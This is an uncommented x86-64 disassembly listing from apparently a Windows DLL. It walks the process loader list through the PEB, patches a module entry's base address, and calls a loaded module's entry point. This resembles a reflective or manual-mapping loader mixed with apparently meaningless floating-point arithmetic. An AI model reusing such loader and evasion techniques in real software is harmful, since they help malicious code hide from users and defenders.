jne 0x1800053f9
lea r14d, [rax + 1]
mov r15, qword [rsp + 0x38]
mov edi, r14d
movsd xmm8, qword [rsp + 0x88]
mulsd xmm11, xmm15
addsd xmm11, xmm8
movaps xmm0, xmm11
call fcn.180003f40
mulsd xmm0, xmm10
addsd xmm7, xmm0
add edi, r14d
movd xmm11, edi
cvtdq2pd xmm11, xmm11
comisd xmm9, xmm11
jae 0x1800054c1
cmp esi, dword [rsp + 0x20]
jle 0x1800054fe
mov ebx, dword [r15 + 0x28]
add rbx, r12
mov rsi, qword [rsp + 0x1d0]
mov rcx, r12
cmp byte [rsi + 8], r13b
jne 0x1800055f4
mov rdx, qword [rsi + 0x10]
call fcn.180003f98
mov rdi, rax
test rax, rax
je 0x1800055fc
cmp byte [rsi + 0x3c], r13b
je 0x180005586
mov r8, qword [rsi + 0x40]
test r8, r8
je 0x180005586
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
add rdx, 0x20
mov rcx, qword [rdx]
jmp 0x18000557b
mov eax, 0x5d
movd xmm0, eax
cvtdq2pd xmm0, xmm0
call fcn.180002fd0
cvttsd2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
comiss xmm14, xmm1
jae 0x180005552
jmp 0x18000554d
cmp qword [rcx + 0x20], r8
je 0x180005582
mov rcx, qword [rcx]
cmp rcx, rdx
jne 0x180005572
jmp 0x180005586
mov qword [rcx + 0x20], r12
xor r8d, r8d
mov edx, r14d
mov rcx, r12
call rbx
mov r9d, dword [rsi + 0x38]
mov r8, qword [rsi + 0x30]
mov rdx, qword [rsi + 0x28]
mov rcx, qword [rsi + 0x20]
call rdi
cdqe
lea r11, [rsp + 0x190]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
xor r8d, r8d
mov edx, r14d
call rbx
xor ecx, ecx
movsd xmm0, qword [0x180031068]
comisd xmm7, xmm0
jb 0x180005623
subsd xmm7, xmm0
comisd xmm7, xmm0
jae 0x180005623
movabs rax, 0x8000000000000000
mov rcx, rax
cvttsd2si rax, xmm7
add rax, rcx
add rax, rbx
jmp 0x1800055a5
comiss xmm6, xmm7
jbe 0x180005645
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov cl, 0x40
call fcn.180002c7c
mov eax, 0x35
lea ecx, [rax - 0x14]
add eax, ecx
movd xmm6, eax
cvtdq2ps xmm6, xmm6
mov ecx, r14d
ucomiss xmm6, xmm14
jp 0x180004d6a
je 0x18000564d
jmp 0x180004d6a
sub rbx, r14
jmp 0x180004239